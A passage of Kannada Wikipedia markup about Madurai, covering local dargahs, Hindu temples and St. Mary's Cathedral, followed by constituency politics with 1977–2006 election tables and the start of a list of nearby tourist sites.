ಇಬ್ರಾಹಿಂ ಷಹೀದ್‌ ಬಾದುಷಾರೊಡನೆ [[ಜೆಡ್ಡಾ]]ದಿಂದ ಇಲ್ಲಿಗೆ ಬಂದಿದ್ದ (ಈಗ [[ರಾಮನಾಥಪುರಂ ಜಿಲ್ಲೆ]]ಯ [[ಇರವಾಡಿ]]ಯಲ್ಲಿರುವ) [[ಮಹಮ್ಮದೀಯ]] ಸಂತ ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಸಿಕಂದರ್‌ ಬಾದುಷಾ ಷಹೀದ್‌ ರಡಿಯಲ್ಲಾಹ್‌‌ ತಾ'ಅಲ್‌ ಅನ್ಹುರ ಸಮಾಧಿಯಿರುವ, ಮಹಮ್ಮದೀಯ ದರ್ಗಾ(ದೇಗುಲ)ವೊಂದು ಬೆಟ್ಟದ ಮೇಲಿದೆ. [[ತಮಿಳುನಾಡು]] ಮತ್ತು [[ಕೇರಳ]]ದ ಎಲ್ಲಾ ಭಾಗಗಳ ಜನರು [[ಧರ್ಮ]]ದ ಹಂಗಿಲ್ಲದೇ ಈ ದರ್ಗಾಕ್ಕೆ ಭೇಟಿ ನೀಡುತ್ತಾರೆ. [[ರಾಮನಾಥಪುರಂ ಜಿಲ್ಲೆ]]ಯ [http://www.ervadi.com ಇರವಾಡಿ ದರ್ಗಾ] ಕ್ಕೆ ಭೇಟಿ ನೀಡಿದವರು ಈ ದರ್ಗಾಕ್ಕೆ ಭೇಟಿ ನೀಡಲೇಬೇಕು ಎಂಬ ನಿಯಮವಿದೆ. [http://www.maqbara.com ಮಧುರೈ ಹಜರತ್‌ಗಳ] ಲ್ಲಿ ಮೂರನೆಯವರಾದ ಸೈಯದ್‌ ಅಬ್ದುಸ್ಸಲಾಂ ಇಬ್ರಾಹಿಂ ಸಾಲಿಂ ಹಜರತ್‌‌ ಹಾಗೂ ಅವರ ಮಾತೃ ಮೂಲದ ಮೊಮ್ಮಗ ಸೈಯದ್‌ ಅಬ್ದುಸ್‌ ಸಲಾಂ ಇಬ್ರಾಹಿಂ ಸಾಹಿಬ್‌ ಹಜರತ್‌ರು ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಸಿಕಂದರ್‌ ಬಾದುಷಾರನ್ನು ಸ್ತುತಿಸಿ ಅನೇಕ ಕವಿತೆಗಳನ್ನು ರಚಿಸಿದ್ದಾರೆ. ಇಲ್ಲಿಗೆ ಬೇಡಿಕೆಯ ಹರಕೆಯೊಡನೆ ಬರುವವರ ಬೇಡಿಕೆಗಳು ಬಹಳ ಬೇಗನೇ ಕೈಗೂಡುವುದೆಂಬ ನಂಬಿಕೆ ಇರುವ ಕಾರಣ ಅವರನ್ನು ''ಮುಸ್ತಜಬ್‌ ಅದ್‌ ದು'ಆ'' ಸಿಕಂದರ್‌ ಬಾದುಷಾ ಎಂದು ಕರೆಯುತ್ತಾರೆ. [[ಅರೇಬಿಕ್‌]] ಭಾಷೆಯಲ್ಲಿ ''ಮುಸ್ತಜಬ್‌ ಅದ್‌ ದು'ಆ'' ಎಂದರೆ [[ಅಲ್ಲಾಹ]]ನಿಂದ ತನ್ನ [[ಬಿನ್ನಹಗಳನ್ನು]] ತಕ್ಷಣವೇ ಈಡೇರಿಸಿಕೊಳ್ಳಬಲ್ಲ ಸಂತ ಎಂದರ್ಥ. ಪ್ರತಿ ಹಿಜ್ರಿ ವರ್ಷದ [[ರಜಬ್‌]] ಮಹಮ್ಮದೀಯ ತಿಂಗಳಿನ 17ನೇ ರಾತ್ರಿ ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಸಿಕಂದರ್‌ ಬಾದುಷಾ ಷಹೀದ್‌ರ ಸ್ಮಾರಕ ವಾರ್ಷಿಕ ಉರುಸ್‌ ಉತ್ಸವವನ್ನು ನಡೆಸಲಾಗುತ್ತದೆ. <br />ಸಾಂಪ್ರದಾಯಿಕ ದಂತಕಥೆಯ ಪ್ರಕಾರ ಮುರುಗನ್‌ ದೇವಾನೈ/ದೇವಯಾನಿ/ದೇವೈನೈಳನ್ನು ಮುರುಗನ್‌‌ನ ಆರು ಪವಿತ್ರ [[ನಿವಾಸ]]ಗಳಲ್ಲಿ (ಅರುಪಾದೈ ವೀಡು, ಎಂದರೆ "ಆರು ಯುದ್ಧ ಶಿಬಿರಗಳು") ಮೊದಲನೆಯದಾದ <ref>{{cite web|url= http://www.murugan.org/temples/parankundram.htm |title=Tirupparankundram | accessdate = 2007-05-26}}</ref><ref>{{cite web|url=http://www.maduraidirectory.com/tourism/thiru.php|title= The first Aru Padai Veedu|accessdate = 2007-05-25}}</ref> ತಿರುಪರಾಕುಂದ್ರಂ ಮುರುಗನ್‌‌ ದೇವಾಲಯದಲ್ಲಿ ಮದುವೆಯಾದನೆಂದು ಪ್ರತೀತಿ ಇದೆ ಈ ಆಹ್ವಾನವೀಯುವ ಗುಹಾಲಯವು ಮೀನಾಕ್ಷಿ ದೇಗುಲಕ್ಕಿಂತ ಹಳೆಯದಾಗಿರುವುದಲ್ಲದೇ, ವಿಶೇಷವಾಗಿ ಮಹಿಳೆಯರು ಮೊಂಬತ್ತಿ/ಕಂದೀಲು/ದೀಪಗಳನ್ನು ಹಚ್ಚಿಡುವ ಅಥವಾ ದೇಗುಲದ ನೆಲದ ಸುತ್ತಲೂ ಕುಳಿತು ಬಣ್ಣಬಣ್ಣದ ಪುಡಿಗಳನ್ನು, ಬೂದಿ ಮತ್ತು ಹೂವುಗಳನ್ನು ಬಳಸಿ ''ಕೋಲಂ'' ಅಥವಾ ''ರಂಗೋಲಿ'' ವಿನ್ಯಾಸಗಳನ್ನು ದುರ್ಗಾದೇವಿಗೆ ಕಾಣಿಕೆಯಾಗಿ ಪ್ರದರ್ಶಿಸುವ ಶುಕ್ರವಾರಗಳಂದು ಮೀನಾಕ್ಷಿ ದೇಗುಲಕ್ಕಿಂತ ಪವಿತ್ರ ವಾತಾವರಣ ನಿರ್ಮಾಣವಾಗಿರುತ್ತದೆ<ref name="FrommersIndia" />. === ಗೋರಿಪಾಲಯಂ/ಗೋರಿಪಾಳಯಂ/ಗೋರಿಪ್ಪಾಲಯಂ/ಗೋರಿಪ್ಪಾಳಯಂ ದರ್ಗಾ === [[ಚಿತ್ರ:Gorippalayam.jpg|right|thumb|180px|ಉರುಸ್‌ನ ಸಮಯದಲ್ಲಿ ಗೋರಿಪ್ಪಾಲಯಂ ದರ್ಗಾ.]] ಗೋರಿಪಾಲಯಂ/ಗೋರಿಪಾಳಯಂ/ಗೋರಿಪ್ಪಾಲಯಂ/ಗೋರಿಪ್ಪಾಳಯಂ ಎಂಬ ಹೆಸರು '''''ಸಮಾಧಿ'' ''' ಎಂಬರ್ಥ ಬರುವ [[ಪರ್ಷಿಯನ್‌]] ಪದ '''''ಗೊರ್‌'' ''' ನಿಂದ ವ್ಯುತ್ಪನ್ನಗೊಂಡಿದೆ. ಇಬ್ಬರು ಪ್ರಖ್ಯಾತ [[ಮಹಮ್ಮದೀಯ]] ಸಂತರು ಮತ್ತು ಮಧುರೈನ ರಾಜರುಗಳಾಗಿದ್ದ ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಅಲಾವುದ್ದೀನ್‌ ಬಾದುಷಾ (ರಡಿಯಲ್ಲಾಹ್‌‌) ಮತ್ತು ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಷಂಸುದ್ದೀನ್‌ ಬಾದುಷಾ (ರಡಿಯಲ್ಲಾಹ್‌‌)ರ ಸಮಾಧಿಗಳು ಇಲ್ಲಿರುವುದರಿಂದ ಈ ಪ್ರದೇಶವನ್ನು ಗೋರಿಪಾಲಯಂ/ಗೋರಿಪಾಳಯಂ/ಗೋರಿಪ್ಪಾಲಯಂ/ಗೋರಿಪ್ಪಾಳಯಂ ಎಂದು ಕರೆಯುತ್ತಾರೆ. ಮಧುರೈನ A.V.ಸೇತುವೆಯಿಂದ ಸುಂದರವಾದ ಹಸಿರು ಬಣ್ಣದ ಸಮಾಧಿಯನ್ನು ನೋಡಬಹುದಾಗಿದ್ದು, ಅದು [[ವೈಗೈ ನದಿ]]ಯ ಉತ್ತರದ ದಂಡೆಯ ಮೇಲಿರುವ ಗೋರಿಪಾಲಯಂ/ಗೋರಿಪಾಳಯಂ/ಗೋರಿಪ್ಪಾಲಯಂ/ಗೋರಿಪ್ಪಾಳಯಂ ದರ್ಗಾ ಆಗಿದೆ. ಇಲ್ಲಿ ವಿಸ್ಮಯಗೊಳಿಸುವ ವಿಚಾರವೆಂದರೆ 20 ಅಡಿ ಎತ್ತರದ ಹಾಗೂ 70 ಅಡಿ ವ್ಯಾಸದ ಸಮಾಧಿಯು ಅಜ್ಹಗಾ ಬೆಟ್ಟದಿಂದ ತಂದಿದ್ದ ಏಕಶೀಲೆಯಲ್ಲಿ ನಿರ್ಮಿತವಾದುದಾಗಿದೆ. [[ತಮಿಳುನಾಡಿನ]] ಎಲ್ಲಾ ಭಾಗಗಳಿಂದಲೂ ಜನರು ಇಲ್ಲಿಗೆ ಬಂದು ಆಶೀರ್ವಾದಗಳನ್ನು ಪಡೆದು ತೃಪ್ತರಾಗಿ ಹಿಂತಿರುಗುತ್ತಾರೆ. ಇಬ್ಬರು ಮುಸ್ಲಿಂ ರಾಜರುಗಳು ಸಹೋದರರಾಗಿದ್ದು 13ನೇ ಶತಮಾನದಲ್ಲಿ [[ಓಮನ್‌]]ನಿಂದ ಇಲ್ಲಿಂದ [[ಇಸ್ಲಾಂ]] ಧರ್ಮವನ್ನು ಹರಡಲು ಬಂದು ಮಧುರೈನ ಉತ್ತರ ಭಾಗವನ್ನು ಆಳಿದ್ದರು. ಖಾಜಿ ಮಾರ್‌ ಬೀದಿಯ ಹಜರತ್‌‌ ಖಾಜಿ ಸೈಯದ್‌ ತಜುದ್ದೀನ್‌ ರಡಿಯಲ್ಲಾಹ್‌‌ರು ಅವರಿಗೆ Govt. [[ಖಾಜಿ]](ಮಹಮ್ಮದೀಯ ಕಾನೂನು ಸಲಹೆಗಾರ ಮತ್ತು ನ್ಯಾಯಾಧೀಶ )ಯಾಗಿದ್ದರು. ದರ್ಗಾದಲ್ಲಿರುವ [[ಮಕ್‌ಬರಾ]]ದ ಆವರಣದ ಹೊರಭಾಗದಲ್ಲಿ ಒಂದು ಪ್ರಾಚೀನ [[ತಮಿಳು]] [[ಶಾಸನ/ಶಿಲಾಲೇಖ]]ವನ್ನು ನೋಡಬಹುದು. ಈ [[ಶಾಸನ]]ದ ಮೇಲಿನ ಮಾಹಿತಿಯ ಅರ್ಥವೇನೆಂದರೆ, "ಸುಲ್ತಾನ್‌ ಅಲಾವುದ್ದೀನ್‌ ಬಾದುಷಾ, ಮತ್ತು ಸುಲ್ತಾನ್‌ ಷಂಸುದ್ದೀನ್‌ ಬಾದುಷಾ ([[ದೆಹಲಿ]]ಯ ಸುಲ್ತಾನ್‌ರುಗಳೆಂದು ಕರೆಯಲ್ಪಡುವ)ರ ವಂಶಸ್ಥರು ಆಗಿನ ರಾಜ ಕೂ(ನ್‌‌) ಪಾಂಡಿಯನ್‌ರಿಂದ ಒಂದು ಅಡಿ ಉದ್ದದ [[ಚಿನ್ನ]]ವನ್ನು ಕೊಟ್ಟು ಗೋರಿಪಾಲಯಂ/ಗೋರಿಪಾಳಯಂ/ಗೋರಿಪ್ಪಾಲಯಂ/ಗೋರಿಪ್ಪಾಳಯಂ ದರ್ಗಾದ ಸ್ಥಳವನ್ನು ಹಾಗೂ ಇತರ ಆರು ಹಳ್ಳಿಗಳನ್ನು (ಅರ್ಥಾತ್‌ ಬೀಬಿಕುಲಂ, ಚೊಕ್ಕಿಕುಲಂ, ಚೋಲಿಕುಡಿ, ಚಿರುದೂರ್‌, ಕನ್ನನೆಂಡಲ್‌, ತಿರುಪ್ಪಾಲೈ ) 14,000 ಚಿನ್ನದ ನಾಣ್ಯಗಳ ಬೆಲೆಗೆ ಗೋರಿಪಾಲಯಂ/ಗೋರಿಪಾಳಯಂ/ಗೋರಿಪ್ಪಾಲಯಂ/ ಗೋರಿಪ್ಪಾಳಯಂ ದರ್ಗಾದ ನಿರ್ವಹಣೆಗಾಗಿ ಕೊಂಡುಕೊಂಡಿದ್ದಾರೆ". ವೀರಪ್ಪ [[ನಾಯಕ್ಕರ್‌]]ರ ಆಳ್ವಿಕೆಯ ಕಾಲದಲ್ಲಿ ದರ್ಗಾದ ಹಕ್‌ದಾರ್‌ರಿಗೂ ಹಾಗೂ ನಾಯಕ್ಕರ್‌ ಸರ್ಕಾರದ ನೌಕರರಿಗೂ ಆರು ಹಳ್ಳಿಗಳ ಕುರಿತಂತೆ ವಾಗ್ವಾದ ಆರಂಭವಾಯಿತು. ಈ ಮೊಕದ್ದಮೆಯನ್ನು ರಾಜ ವೀರಪ್ಪ ನಾಯಕ್ಕರ್‌ರ ಮುಂದೆ ಬಿನ್ನವಿಸಿದಾಗ, ವಿಚಾರಣೆ ನಡೆಸಿದ ರಾಜನು ಕೂ(ನ್‌‌) ಪಾಂಡಿಯನ್‌ರಿಂದ ಬರೆಸಲ್ಪಟ್ಟ ದಾಖಲೆಗಳನ್ನು ಪರಿಶೀಲಿಸಿ 1573 A.D.ಯಲ್ಲಿ ಆರು ಹಳ್ಳಿಗಳು ಹಾಗೂ ದರ್ಗಾದ ಪ್ರದೇಶವು ಸುಲ್ತಾನ್‌ರ ವಂಶಸ್ಥರಿಗೆ ಸೇರಿದ್ದು ಹಾಗೂ ಇದು ಸೂರ್ಯ ಚಂದ್ರರಿರುವವರೆಗೆ ಅವರ ಉಪಭೋಗದಲ್ಲೇ ಉಳಿಯತಕ್ಕದ್ದು, ಹಾಗೂ ಇದನ್ನು ಉಲ್ಲಂಘಿಸಿದವನು [[ಗಂಗಾನದಿ]]ಯ ದಂಡೆಯ ಮೇಲೆ ಗೋವಿನ ವಧೆ ಮಾಡಿದ ಪಾಪಕ್ಕೆ ಗುರಿಯಾಗುತ್ತಾನೆ ಎಂದು ತನ್ನ ತೀರ್ಪನ್ನು ನೀಡಿದನು" ಈ ಶಾಸನವನ್ನು 13ನೇ ಶತಮಾನದಿಂದಲೂ ದರ್ಗಾ ಅಸ್ತಿತ್ವದಲ್ಲಿದೆಯೆಂಬುದನ್ನು ರುಜುವಾತುಪಡಿಸುವ ಪ್ರಮಾಣವಾಗಿ ಗಣಿಸಲಾಗಿದೆ. ಪ್ರತಿ [[ಹಿಜ್ರಿ]] ವರ್ಷದ [[ರಬಿ ಅಲ್‌-ಅವ್ವಲ್‌]] ಮಹಮ್ಮದೀಯ ತಿಂಗಳಿನ 15ನೇ ರಾತ್ರಿ ಈ ದರ್ಗಾದ ವಾರ್ಷಿಕ ಉರುಸ್‌ ಉತ್ಸವವನ್ನು ನಡೆಸಲಾಗುತ್ತದೆ. {{-}} === ಕೂದಲ್‌ ಅಜ್ಹಗರ್‌ ಕೋಯಿಲ್‌ === ಇಲ್ಲಿ ನವಗ್ರಹಗಳನ್ನೂ ಹೊಂದಿರುವ ಸುಂದರವಾದ ವಿಷ್ಣು ದೇವಾಲಯವಿದೆ (ಸಾಮಾನ್ಯವಾಗಿ ನವಗ್ರಹಗಳು ಶಿವ ದೇವಾಲಯಗಳಲ್ಲಿ ಮಾತ್ರವೇ ಇರುತ್ತವೆ). ಈ ದೇವಾಲಯಕ್ಕೆ ಸಮೀಪದಲ್ಲಿಯೇ ಹಯಗ್ರೀವರ್‌ (ಕುದುರೆ/"ಹಯ"ಗ್ರೀವ ಅವತಾರವಿದು) ಪ್ರಮುಖ ದೇವರಾಗಿರುವ ಹಯಗ್ರೀವರ್‌ ದೇವಾಲಯವಿದೆ. ನೀರಿನಲ್ಲಿ ಮುಳುಗಿದ್ದ ಮಹಾಕಾವ್ಯವನ್ನು ಮತ್ತೆ ಭೂಮಿಗೆ ಹಯಗ್ರೀವರ್‌ ದೇವರೇ ತಂದ ಕಾರಣ ಬಹಳಷ್ಟು ಜನ ವಿದ್ಯಾರ್ಥಿಗಳು ತಮ್ಮ ದೈನಂದಿನ ಪ್ರಾರ್ಥನೆಯನ್ನು ಇಲ್ಲಿಯೇ ಮಾಡುತ್ತಾರೆ. ನಗರದ ಮಧ್ಯಭಾಗದಲ್ಲಿರುವ ದೇವಾಲಯಗಳಲ್ಲಿ ಇದೂ ಒಂದಾಗಿದೆ. ಇದು ಖಾಜಿ ಮಾರ್‌ ಬೃಹತ್‌ ಮಸೀದಿ (ಪೆರಿಯಾ ಪಲ್ಲಿವಾಸಲ್‌)ಯ ಉತ್ತರಕ್ಕೆ 100 mtrsಗಳಷ್ಟು ದೂರದಲ್ಲಿದ್ದರೆ, ಸುನ್ನಂಬುಕರ ಬೀದಿಯ ದಕ್ಷಿಣಕ್ಕಿದೆ. ಈ ದೇವಾಲಯವು [[ಮೀನಾಕ್ಷಿ ದೇವಾಲಯ]]ಕ್ಕಿಂತ ಹಳೆಯದೆಂದು ಹೇಳಲಾಗುತ್ತದೆ. ಈ ದೇವಾಲಯದ ಬಳಿಯಲ್ಲೇ ಮತ್ತೊಂದು ಶಿವ ದೇವಾಲಯವಿದೆ ಹಾಗೂ ಆ ದೇವಾಲಯವನ್ನು ನನ್ಮೈ ತರುವರ್‌ ದೇವಾಲಯವೆಂದು ಕರೆಯುತ್ತಾರೆ. ದಂತಕಥೆಯ ಪ್ರಕಾರ ತಾನು ಮಧುರೈನ ಚಕ್ರವರ್ತಿ/ರಾಜನಾಗಿದ್ದಾಗ ಸ್ವತಃ ಶಿವನೇ ಕಟ್ಟಿಸಿದ್ದ ದೇವಾಲಯವಾಗಿದೆ. ಈಗಲೂ ಸಹಾ ದೇವಾಲಯದ ಕರುವರಿಯಲ್ಲಿ ಮೀನಾಕ್ಷಿ ಲಿಂಗವನ್ನು ಪೂಜಿಸುತ್ತಿರುವ ಹಾಗೂ ಪೂರ್ಣರೂಪದ ಶಿವನ ಭವ್ಯ ಮೂರ್ತಿಯನ್ನು ಕಾಣಬಹುದು. ಮತ್ತೊಂದು ಗಮನಾರ್ಹ ವೈಷ್ಣವ/ವಿಷ್ಣು ದೇವಾಲಯವೆಂದರೆ ಕೋಡಲ್‌ ಅಜ್ಹಗರ್‌ ದೇವಾಲಯದ ಬಳಿಯಿರುವ ಕೃಷ್ಣ ದೇವರಿಗೆ ಮೀಸಲಾಗಿರುವ ಮದನ ಗೋಪಾಲನ್‌ ದೇವಾಲಯವಾಗಿದೆ. === St. ಮೇರಿಯ ಕ್ಯಾಥೆಡ್ರಲ್‌ ಚರ್ಚ್‌/ಇಗರ್ಜಿ === ಮಧುರೈನ St. ಮೇರಿಯ ಕ್ಯಾಥೆಡ್ರಲ್‌ [[ಮಧುರೈ ಬಿಷಪ್ಪರ ಪ್ರಾಂತ್ಯದ ರೋಮನ್‌ ಕ್ಯಾಥೊಲಿಕ್‌‌]] ಪೀಠವಾಗಿದೆ. ಇದು [[ಭಾರತ]]ದಲ್ಲಿರುವ ಪ್ರಾಚೀನ [[ರೋಮನ್‌ ಕ್ಯಾಥೊಲಿಕ್‌‌]] ಇಗರ್ಜಿಗಳಲ್ಲಿ ಒಂದಾಗಿದ್ದು ಮಧುರೈ ರೈಲು ನಿಲ್ದಾಣದ ಆಗ್ನೇಯ ದಿಕ್ಕಿನಲ್ಲಿ 2&nbsp;km ದೂರದಲ್ಲಿ ಹಾಗೂ ತಿರುಮಲೈ ನಾಯಕ್‌ ಮಹಲ್‌ನಿಂದ 200 ಮೀಟರ್‌ಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ. {{-}} == ರಾಜಕೀಯ == === ರಾಜ್ಯ ಶಾಸನಸಭೆ === ಮಧುರೈ ನಗರವನ್ನು ರಾಜ್ಯ ಶಾಸನಸಭೆಯ ಮೂರು ಕ್ಷೇತ್ರಗಳನ್ನಾಗಿ ವಿಭಜಿಸಲಾಗಿದೆ. ಅವುಗಳೆಂದರೆ [[ಪೂರ್ವ ಮಧುರೈ]], [[ಕೇಂದ್ರ ಮಧುರೈ]] ಮತ್ತು [[ಪಶ್ಚಿಮ ಮಧುರೈ]]. 2009ರ [[ಗಡಿನಿರ್ಣಯ]]ದ ನಂತರ, [[ಉತ್ತರ ಮಧುರೈ]] ಮತ್ತು [[ದಕ್ಷಿಣ ಮಧುರೈ]] ಕ್ಷೇತ್ರಗಳನ್ನು ರಚಿಸಲಾಗಿದೆ. CPI ಮತ್ತು CPMಗಳಂತಹಾ ಎಡ ಪಕ್ಷಗಳಿಗೆ ಗಮನಾರ್ಹ ಬೆಂಬಲವಿದೆ, ಇದು ವಿಶೇಷವಾಗಿ ಪೂರ್ವ ಮಧುರೈನಲ್ಲಿ ಹೆಚ್ಚು. ಸಾಮಾನ್ಯವಾಗಿ ಎಡ ಪಕ್ಷಗಳು ಇತ್ತೀಚೆಗೆ DMK ಅಥವಾ ADMKಗಳೊಂದಿಗೆ ಮೈತ್ರಿ ಮಾಡಿಕೊಂಡಿದ್ದು, ಪರಿಣಾಮವಾಗಿ ಮಧುರೈ CPM MLAಗಳನ್ನು ಹೊಂದಿದೆ. ಆದರೆ 1977ರಿಂದ, 1996 ಮತ್ತು 2001ರಲ್ಲಿ [[ತಮಿಳು ಮಾನಿಲಾ ಕಾಂಗ್ರೆಸ್‌]]ನವರು DMK ಮತ್ತು ADMKಗಳೊಂದಿಗೆ ಮೈತ್ರಿ ಮಾಡಿಕೊಂಡಾಗ ಮೇಲುಗೈ ಸಾಧಿಸಿದ್ದನ್ನು ಹೊರತುಪಡಿಸಿದರೆ ADMK ಮತ್ತು DMK ಪಕ್ಷಗಳು ಈ ಪ್ರದೇಶದಲ್ಲಿ ಪ್ರಭಾವಶಾಲಿಯಾಗಿವೆ. ಹಾಗೆಯೇ 1984 ಮತ್ತು 1991ರಲ್ಲಿ ಕಾಂಗ್ರೆಸ್‌ ಕೂಡಾ ADMKನೊಂದಿಗೆ ಮೈತ್ರಿ ಮಾಡಿಕೊಂಡಾಗ ಗೆಲುವು ಕಂಡಿತ್ತು. ರಾಜಕಾರಣಿಯಾದ ಬದಲಾದ ನಟ [[M.G. ರಾಮಚಂದ್ರನ್‌]]ರು ಗೆಲುವು ಪಡೆದ ಅನೇಕ ಕ್ಷೇತ್ರಗಳಲ್ಲಿ ಪಶ್ಚಿಮ ಮಧುರೈ ಕ್ಷೇತ್ರವು ಸಹಾ ಒಂದು. [[1980ರ ತಮಿಳುನಾಡು ಶಾಸನಸಭೆಯ ಮರುಚುನಾವಣೆ]]ಯಲ್ಲಿ ಈ ಕ್ಷೇತ್ರದಿಂದ ಗೆದ್ದಿದ್ದರು. {| class="wikitable" style="float:left;margin:1em 0 1em 1em;font-size:95%" |+ <td>'''ಪೂರ್ವ ಮಧುರೈ ಮತಗಳು ''' <br />''' ಶಾಸನಸಭೆ ಚುನಾವಣೆಗಳ ಮೈತ್ರಿಯಿಂದ ದೊರಕಿದ ಮತಗಳು''' </td> |- ! ವರ್ಷ ![[AIADMK+]] ![[DMK+]] |- style="text-align:center" | style="background:honeyDew"|'''[[2006]]''' | style="background:honeyDew"|'''43.7%''' ''57,208'' | style="background:#fff3f3"|41.0% ''53,741'' |- style="text-align:center" | style="background:honeyDew"|'''[[2001]]''' | style="background:honeyDew"|'''48.1%''' ''48,465'' | style="background:#fff3f3"|47.4% ''47,757'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1996]]''' | style="background:honeyDew"|17.7% ''17,465'' | style="background:#fff3f3"|'''62.4%''' ''61,723'' |- style="text-align:center" | style="background:honeyDew"|'''[[1991]]''' | style="background:honeyDew"|'''63.4%''' ''59,586'' | style="background:#fff3f3"|34.7% ''32,664'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1989*]]''' | style="background:honeyDew"|20.3% ''20,871'' | style="background:#fff3f3"|'''44.3%''' ''45,579'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1984]]''' | style="background:honeyDew"|47.9% ''45,131'' | style="background:#fff3f3"|'''51.2%''' ''48,247'' |- style="text-align:center" | style="background:honeyDew"|'''[[1980]]''' | style="background:honeyDew"|'''59.6%''' ''57,019'' | style="background:#fff3f3"|37.6% ''35,953'' |- style="text-align:center" | style="background:honeyDew"|'''[[1977]]''' | style="background:honeyDew"|'''43.1%''' ''32,342'' | style="background:#fff3f3"|21.6% ''16,211'' |} {| class="wikitable" style="margin:auto;margin:1em 0 1em 1em;font-size:95%" |+ <td>'''ಕೇಂದ್ರ ಮಧುರೈ''' <br />''' ಶಾಸನಸಭೆ ಚುನಾವಣೆಗಳ ಮೈತ್ರಿಯಿಂದ ದೊರಕಿದ ಮತಗಳು''' </td> |- ! ವರ್ಷ ![[AIADMK+]] ![[DMK+]] |- style="text-align:center" | style="background:#fff3f3"|'''[[2006]]''' | style="background:honeyDew"|38.2% ''35,992'' | style="background:#fff3f3"|'''45.8%''' ''43,185'' |- style="text-align:center" | style="background:honeyDew"|'''[[2001]]''' | style="background:honeyDew"|'''46.5%''' ''34,393'' | style="background:#fff3f3"|46.3% ''34,246'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1996]]''' | style="background:honeyDew"|14.6% ''11,841'' | style="background:#fff3f3"|'''46.7%''' ''38,010'' |- style="text-align:center" | style="background:honeyDew"|'''[[1991]]''' | style="background:honeyDew"|'''62.3%''' ''47,325'' | style="background:#fff3f3"|35.2% ''26,717'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1989*]]''' | style="background:honeyDew"|13.3% ''11,243'' | style="background:#fff3f3"|'''46.0%''' ''33,484'' |- style="text-align:center" | style="background:honeyDew"|'''[[1984]]''' | style="background:honeyDew"|'''50.8%''' ''41,272'' | style="background:#fff3f3"|48.0% ''39,012'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1980]]''' | style="background:honeyDew"|'''58.1%''' ''45,700'' | style="background:#fff3f3"|40.2% ''31,566'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1977]]''' | style="background:honeyDew"|'''39.9%''' ''29,399'' | style="background:#fff3f3"|19.9% ''14,676'' |} * ಸೂಚನೆ: 1989ರಲ್ಲಿ, [[ಜಾನಕಿ ಬಣ]] ಮತ್ತು [[ಜಯಲಲಿತಾ ಬಣ]]ವೆಂದು ADMK ಎರಡು ಬಣಗಳಾಗಿ ವಿಭಜಿತವಾಯಿತು. ಜಾನಕಿ ಬಣ ಮಾತ್ರವೇ ಪೂರ್ವ ಮಧುರೈ ಮತ್ತು ಕೇಂದ್ರ ಮಧುರೈ ಕ್ಷೇತ್ರಗಳಲ್ಲಿ ಸ್ಪರ್ಧಿಸಿತು. === ಲೋಕಸಭೆ === ಮಧುರೈನ ಎಲ್ಲಾ ಐದು ಕ್ಷೇತ್ರಗಳೂ ಮಧುರೈ (ಲೋಕಸಭಾ ಕ್ಷೇತ್ರ )ದ ಭಾಗವಾಗಿದೆ<ref>{{cite web | url = http://archive.eci.gov.in/se2001/background/S22/TN_ACPC.pdf | title = List of Parliamentary and Assembly Constituencies | accessdate = 2008-10-08 | work = Tamil Nadu | publisher = Election Commission of India }}</ref> == ಮಧುರೈನ ಸುತ್ತಮುತ್ತಲಿರುವ ಪ್ರವಾಸೀ ತಾಣಗಳು == ಮಧುರೈ ನಗರವು ಆಯಕಟ್ಟಿನ ಸ್ಥಳದಲ್ಲಿರುವುದರಿಂದ ದಕ್ಷಿಣ [[ತಮಿಳುನಾಡಿನ]] ಪ್ರವಾಸೋದ್ಯಮ ಕೇಂದ್ರವಾಗಿ ರೂಪುಗೊಂಡಿದೆ. [http://www.carrentalmadurai.com/Travel/ ಮಧುರೈನ ಸುತ್ತಮುತ್ತಾ ಸಂದರ್ಶಕರು ನೋಡಬಯಸುವ ಪ್ರವಾಸೀ ಸ್ಥಳಗಳು] {{Webarchive|url=https://web.archive.org/web/20091202042311/http://www.carrentalmadurai.com/travel/ |date=2009-12-02 }} ಅನೇಕವಿವೆ. * [[ಅಜ್ಹಗರ್‌ ಕೋವಿಲ್‌]] ನಗರದಿಂದ ಸುಮಾರು 25&nbsp;km ದೂರವಿರುವ ಇದೊಂದು ವಿಷ್ಣು ದೇವಾಲಯ. ಈ ಸ್ಥಳವನ್ನು ಬೆಟ್ಟಗಳು ಸುತ್ತುವರೆದಿವೆ. ಈ ದೇವಾಲಯದ ಪ್ರಧಾನ ದೇವತೆಯೆಂದರೆ ಕಲ್ಲಜ್ಹಗರ್‌. ಚಿತ್ತಿರೈ ತಿರುವಿಜ್ಹಾ ಎಂಬ [[ತಮಿಳು ಹೊಸ ವರ್ಷ]]ದ ಉತ್ಸವವನ್ನು ಅನೇಕ ಶತಮಾನಗಳಿಂದ ಇದೇ ದೇವಾಲಯದಲ್ಲಿ ಆಚರಿಸಿಕೊಂಡು ಬರಲಾಗುತ್ತಿದೆ. ಅಜ್ಹಗರ್‌ ಕೋವಿಲ್‌ನ ಪ್ರವೇಶ ದ್ವಾರದಲ್ಲಿ [[ಬದರಿ ನಾರಾಯಣ ದೇವಾಲಯ]]ವನ್ನು ಸಹಾ ನೋಡಬಹುದು, ಇದನ್ನು ಉತ್ತರ ಭಾರತದ ಕೈಲಾಸ ಪರ್ವತದಲ್ಲಿರುವ ಬದ್ರೀನಾಥ್‌ನಂತೆಯೇ ನಿರ್ಮಿಸಲಾಗಿದೆ: ಇಲ್ಲಿನ ಪ್ರಮುಖ ಮೂರ್ತಿಯು, ನರ ನಾರಾಯಣರಿಂದ ಸುತ್ತುವರೆಯಲ್ಪಟ್ಟು ಧ್ಯಾನಮಗ್ನ ಭಂಗಿಯಲ್ಲಿರುವ ವಿಷ್ಣುವನ್ನು ಬಿಂಬಿಸುತ್ತದೆ. ಕಲ್ಲಲಾಗರ್‌ ತಮಿಳುನಾಡಿನ ಪ್ರಸಿದ್ಧ 